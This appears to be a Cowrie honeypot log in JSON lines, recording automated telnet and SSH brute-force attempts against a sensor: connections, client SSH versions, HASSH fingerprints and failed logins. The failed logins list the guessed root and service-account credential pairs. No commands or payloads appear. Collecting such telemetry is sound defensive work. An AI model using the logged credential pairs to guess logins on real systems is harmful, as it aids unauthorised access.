{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57254,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9c3f96de26c","protocol":"telnet","message":"New connection: 192.119.13.58:57254 (10.17.0.5:23) [session: e9c3f96de26c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:16.017154Z"}
{"eventid":"cowrie.session.closed","duration":31.29133677482605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:17.248420Z","src_ip":"192.119.13.58","session":"f3704f69100d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.2571234703064,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:17.558760Z","src_ip":"192.119.13.58","session":"575bb9494050","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41732,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c53befe1e8d","protocol":"telnet","message":"New connection: 192.119.13.58:41732 (10.17.0.5:23) [session: 0c53befe1e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:19.449736Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":49232,"dst_ip":"159.203.135.109","dst_port":22,"session":"46aff54e9392","protocol":"ssh","message":"New connection: 43.134.100.175:49232 (159.203.135.109:22) [session: 46aff54e9392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:20.923090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:20.927949Z","src_ip":"43.134.100.175","session":"46aff54e9392","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:21.157734Z","src_ip":"43.134.100.175","session":"46aff54e9392","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51072,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dfa7b539756","protocol":"telnet","message":"New connection: 192.119.13.58:51072 (10.17.0.5:23) [session: 9dfa7b539756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:22.008727Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3","message":"login attempt [root/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:22.109199Z","src_ip":"43.134.100.175","session":"46aff54e9392","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":15881,"dst_ip":"10.17.0.5","dst_port":22,"session":"011e19d9e017","protocol":"ssh","message":"New connection: 122.51.73.24:15881 (10.17.0.5:22) [session: 011e19d9e017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:22.706916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:22.711846Z","src_ip":"122.51.73.24","session":"011e19d9e017","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:22.979159Z","src_ip":"122.51.73.24","session":"011e19d9e017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.92364811897278,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:23.163997Z","src_ip":"192.119.13.58","session":"7d80a2d9a4c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:23.341909Z","src_ip":"43.134.100.175","session":"46aff54e9392","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pentaho","password":"pentaho","message":"login attempt [pentaho/pentaho] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:24.075833Z","src_ip":"122.51.73.24","session":"011e19d9e017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:25.350951Z","src_ip":"122.51.73.24","session":"011e19d9e017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40920,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad357757cb38","protocol":"telnet","message":"New connection: 192.119.13.58:40920 (10.17.0.5:23) [session: ad357757cb38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:26.784874Z"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.25.130","src_port":57444,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a543d7c7704","protocol":"ssh","message":"New connection: 150.109.25.130:57444 (159.203.135.109:22) [session: 1a543d7c7704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:27.339219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:27.346832Z","src_ip":"150.109.25.130","session":"1a543d7c7704","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:27.596512Z","src_ip":"150.109.25.130","session":"1a543d7c7704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9999","message":"login attempt [root/9999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:28.612376Z","src_ip":"150.109.25.130","session":"1a543d7c7704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:29.863237Z","src_ip":"150.109.25.130","session":"1a543d7c7704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.96300196647644,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:31.228932Z","src_ip":"192.119.13.58","session":"694ffe566e7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.08759641647339,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:32.736081Z","src_ip":"192.119.13.58","session":"6c4f222c7aae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.4589262008667,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:33.570548Z","src_ip":"192.119.13.58","session":"160cbcd78eaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.812283992767334,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:35.048198Z","src_ip":"192.119.13.58","session":"13d0f89e2955","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":53968,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc9a21e1a730","protocol":"ssh","message":"New connection: 87.251.79.125:53968 (159.203.135.109:22) [session: cc9a21e1a730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:38.471802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:38.476594Z","src_ip":"87.251.79.125","session":"cc9a21e1a730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:38.549577Z","src_ip":"87.251.79.125","session":"cc9a21e1a730","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"369369","message":"login attempt [root/369369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:38.769600Z","src_ip":"87.251.79.125","session":"cc9a21e1a730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:39.845954Z","src_ip":"87.251.79.125","session":"cc9a21e1a730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.15509796142578,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:46.367929Z","src_ip":"192.119.13.58","session":"bf35fada0923","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.04440402984619,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:53.343443Z","src_ip":"192.119.13.58","session":"52fdf02a51e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.592281103134155,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:53.609306Z","src_ip":"192.119.13.58","session":"e9c3f96de26c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.840842485427856,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:55.182995Z","src_ip":"192.119.13.58","session":"e46e6f4852e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.18385100364685,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:25:56.192426Z","src_ip":"192.119.13.58","session":"9dfa7b539756","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58402,"dst_ip":"10.17.0.5","dst_port":23,"session":"050a6dc9f968","protocol":"telnet","message":"New connection: 192.119.13.58:58402 (10.17.0.5:23) [session: 050a6dc9f968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:00.191530Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":51516,"dst_ip":"10.17.0.5","dst_port":22,"session":"7248e49a67c0","protocol":"ssh","message":"New connection: 175.118.127.138:51516 (10.17.0.5:22) [session: 7248e49a67c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:02.291567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:02.296602Z","src_ip":"175.118.127.138","session":"7248e49a67c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:02.476681Z","src_ip":"175.118.127.138","session":"7248e49a67c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"China123","message":"login attempt [root/China123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:03.228000Z","src_ip":"175.118.127.138","session":"7248e49a67c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:04.411796Z","src_ip":"175.118.127.138","session":"7248e49a67c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47568,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e1b7067ff6d","protocol":"telnet","message":"New connection: 192.119.13.58:47568 (10.17.0.5:23) [session: 3e1b7067ff6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:06.715428Z"}
{"eventid":"cowrie.session.closed","duration":41.67565655708313,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:08.460402Z","src_ip":"192.119.13.58","session":"ad357757cb38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54992,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f8feb764ebe","protocol":"telnet","message":"New connection: 192.119.13.58:54992 (10.17.0.5:23) [session: 5f8feb764ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:09.413801Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55556,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1073a304ca9","protocol":"telnet","message":"New connection: 192.119.13.58:55556 (10.17.0.5:23) [session: b1073a304ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:09.647086Z"}
{"eventid":"cowrie.session.closed","duration":51.72686958312988,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:11.176470Z","src_ip":"192.119.13.58","session":"0c53befe1e8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36430,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e1a6bc3400e","protocol":"telnet","message":"New connection: 192.119.13.58:36430 (10.17.0.5:23) [session: 2e1a6bc3400e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:13.017643Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39746,"dst_ip":"10.17.0.5","dst_port":23,"session":"86adbc6ae174","protocol":"telnet","message":"New connection: 192.119.13.58:39746 (10.17.0.5:23) [session: 86adbc6ae174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:14.217185Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":41436,"dst_ip":"10.17.0.5","dst_port":22,"session":"7acfed17b569","protocol":"ssh","message":"New connection: 103.77.242.62:41436 (10.17.0.5:22) [session: 7acfed17b569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:15.966055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:15.971680Z","src_ip":"103.77.242.62","session":"7acfed17b569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:16.215994Z","src_ip":"103.77.242.62","session":"7acfed17b569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45306,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d574b38f637","protocol":"telnet","message":"New connection: 192.119.13.58:45306 (10.17.0.5:23) [session: 1d574b38f637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:16.298872Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfktynby","message":"login attempt [root/dfktynby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:16.936091Z","src_ip":"103.77.242.62","session":"7acfed17b569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:18.177352Z","src_ip":"103.77.242.62","session":"7acfed17b569","protocol":"ssh"}
